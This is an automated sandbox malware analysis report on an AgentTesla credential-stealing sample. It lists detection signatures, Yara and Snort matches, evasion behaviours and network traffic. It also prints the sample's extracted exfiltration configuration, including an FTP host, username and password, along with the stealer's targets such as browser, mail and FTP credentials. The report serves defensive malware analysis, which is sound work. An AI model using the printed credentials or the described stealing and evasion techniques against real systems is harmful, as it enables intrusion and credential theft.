Edit tour

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Analysis ID:	1460072
MD5:	b3db9023fe215f9cc7ea9dc71387f111
SHA1:	a46281d24cb8b7101a3307d10d81ac93a3e3abc4
SHA256:	e67fccc9c4055f580dd361b3224a292ad2eb2b4f625b123a4f36872564c8c81b
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe (PID: 3364 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe" MD5: B3DB9023FE215F9CC7EA9DC71387F111)

SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe (PID: 4320 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe" MD5: B3DB9023FE215F9CC7EA9DC71387F111)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.wapination.net", "Username": "pop@wapination.net", "Password": "sync@#1235"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3285205060.00000000032B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 3364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 3364	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 4320	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe PID: 4320	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32f9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3300d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33097:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33129:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33193:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33205:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3329b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3332b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304d0:$s2: GetPrivateProfileString 0x2fbf2:$s3: get_OSFullName 0x31187:$s5: remove_Key 0x31324:$s5: remove_Key 0x3220e:$s6: FtpWebRequest 0x32f7d:$s7: logins 0x334ef:$s7: logins 0x36200:$s7: logins 0x362b2:$s7: logins 0x37bba:$s7: logins 0x36e56:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3119b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3120d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31297:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31329:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31393:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31405:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3149b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3152b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6d0:$s2: GetPrivateProfileString 0x2ddf2:$s3: get_OSFullName 0x2f387:$s5: remove_Key 0x2f524:$s5: remove_Key 0x3040e:$s6: FtpWebRequest 0x3117d:$s7: logins 0x316ef:$s7: logins 0x34400:$s7: logins 0x344b2:$s7: logins 0x35dba:$s7: logins 0x35056:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3119b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3120d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31297:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31329:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31393:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31405:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3149b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3152b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6d0:$s2: GetPrivateProfileString 0x2ddf2:$s3: get_OSFullName 0x2f387:$s5: remove_Key 0x2f524:$s5: remove_Key 0x3040e:$s6: FtpWebRequest 0x3117d:$s7: logins 0x316ef:$s7: logins 0x34400:$s7: logins 0x344b2:$s7: logins 0x35dba:$s7: logins 0x35056:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32f9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d1bb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3300d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d22d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33097:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d2b7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33129:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d349:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33193:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d3b3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33205:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d425:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3329b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d4bb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3332b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6d54b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304d0:$s2: GetPrivateProfileString 0x6a6f0:$s2: GetPrivateProfileString 0x2fbf2:$s3: get_OSFullName 0x69e12:$s3: get_OSFullName 0x31187:$s5: remove_Key 0x31324:$s5: remove_Key 0x6b3a7:$s5: remove_Key 0x6b544:$s5: remove_Key 0x3220e:$s6: FtpWebRequest 0x6c42e:$s6: FtpWebRequest 0x32f7d:$s7: logins 0x334ef:$s7: logins 0x36200:$s7: logins 0x362b2:$s7: logins 0x37bba:$s7: logins 0x6d19d:$s7: logins 0x6d70f:$s7: logins 0x70420:$s7: logins 0x704d2:$s7: logins 0x71dda:$s7: logins 0x36e56:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32f9b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d3bb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa75db:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3300d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d42d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa764d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33097:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d4b7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa76d7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33129:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d549:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa7769:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33193:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d5b3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa77d3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33205:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d625:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa7845:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3329b:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d6bb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa78db:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304d0:$s2: GetPrivateProfileString 0x6a8f0:$s2: GetPrivateProfileString 0xa4b10:$s2: GetPrivateProfileString 0x2fbf2:$s3: get_OSFullName 0x6a012:$s3: get_OSFullName 0xa4232:$s3: get_OSFullName 0x31187:$s5: remove_Key 0x31324:$s5: remove_Key 0x6b5a7:$s5: remove_Key 0x6b744:$s5: remove_Key 0xa57c7:$s5: remove_Key 0xa5964:$s5: remove_Key 0x3220e:$s6: FtpWebRequest 0x6c62e:$s6: FtpWebRequest 0xa684e:$s6: FtpWebRequest 0x32f7d:$s7: logins 0x334ef:$s7: logins 0x36200:$s7: logins 0x362b2:$s7: logins 0x37bba:$s7: logins 0x6d39d:$s7: logins
Click to see the 15 entries

Snort Signatures

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 108.179.234.136

Timestamp:	06/20/24-14:23:09.712885
SID:	2855542
Source Port:	49709
Destination Port:	43985
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.2.5 - Destination IP: 108.179.234.136

Timestamp:	06/20/24-14:23:09.311887
SID:	2029927
Source Port:	49708
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 108.179.234.136

Timestamp:	06/20/24-14:23:09.712885
SID:	2851779
Source Port:	49709
Destination Port:	43985
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Avira: detected

Found malware configuration

Source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.wapination.net", "Username": "pop@wapination.net", "Password": "sync@#1235"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Virustotal: Detection: 35%			Perma Link
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Joe Sandbox ML: detected

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.2.5:49708 -> 108.179.234.136:21
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49709 -> 108.179.234.136:43985
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49709 -> 108.179.234.136:43985

Source: global traffic

TCP traffic: 192.168.2.5:49709 -> 108.179.234.136:43985

Source: Joe Sandbox View

IP Address: 108.179.234.136 108.179.234.136

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: unknown

FTP traffic detected: 108.179.234.136:21 -> 192.168.2.5:49708 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21.220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 150 allowed.220-Local time is now 07:23. Server port: 21.220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: ftp.wapination.net

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.000000000330C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.wapination.net
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051097586.0000000003011000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.00000000032FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3285205060.000000000330C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://wapination.net
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000003.00000002.3283129329.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, SKTzxzsJw.cs

.Net Code: Fe9wfWKc5

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.4077b18.1.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.403d6f8.2.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

.NET source code contains very large array initializations

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, Resource1.cs	Large array initialization: : array initializer size 583319
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe.5900000.5.raw.unpack, PingPong.cs	Large array initialization: : array initializer size 12418

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_07F50660	0_2_07F50660
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_0133E02C	0_2_0133E02C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_05580040	0_2_05580040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_05580006	0_2_05580006
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085C7850	0_2_085C7850
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085C9DCF	0_2_085C9DCF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085C0040	0_2_085C0040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085C4270	0_2_085C4270
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085C3280	0_2_085C3280
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085CD2D0	0_2_085CD2D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 0_2_085CD2C1	0_2_085CD2C1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_01879BC0	3_2_01879BC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_01874A60	3_2_01874A60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_01873E48	3_2_01873E48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_0187CE50	3_2_0187CE50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_01874190	3_2_01874190
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_067256E0	3_2_067256E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06720040	3_2_06720040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06722EF8	3_2_06722EF8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06723F58	3_2_06723F58
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_0672DC20	3_2_0672DC20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_0672BD00	3_2_0672BD00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06729AE0	3_2_06729AE0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06728B80	3_2_06728B80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_0672364B	3_2_0672364B
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Code function: 3_2_06725000	3_2_06725000

Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2050545309.000000000139E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2062036493.0000000007ED0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051691772.000000000403D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename5e940590-bd07-4e56-ae86-61e052f8ff28.exe4 vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051691772.0000000004247000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2061025024.0000000005900000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000000.2039660820.0000000000D10000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelWVk.exe. vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
Source: SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe, 00000000.00000002.2051097586.0000000003011000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRT.dll. vs SecuriteInfo.com.Win32.PWSX-gen.20769.7015.exe
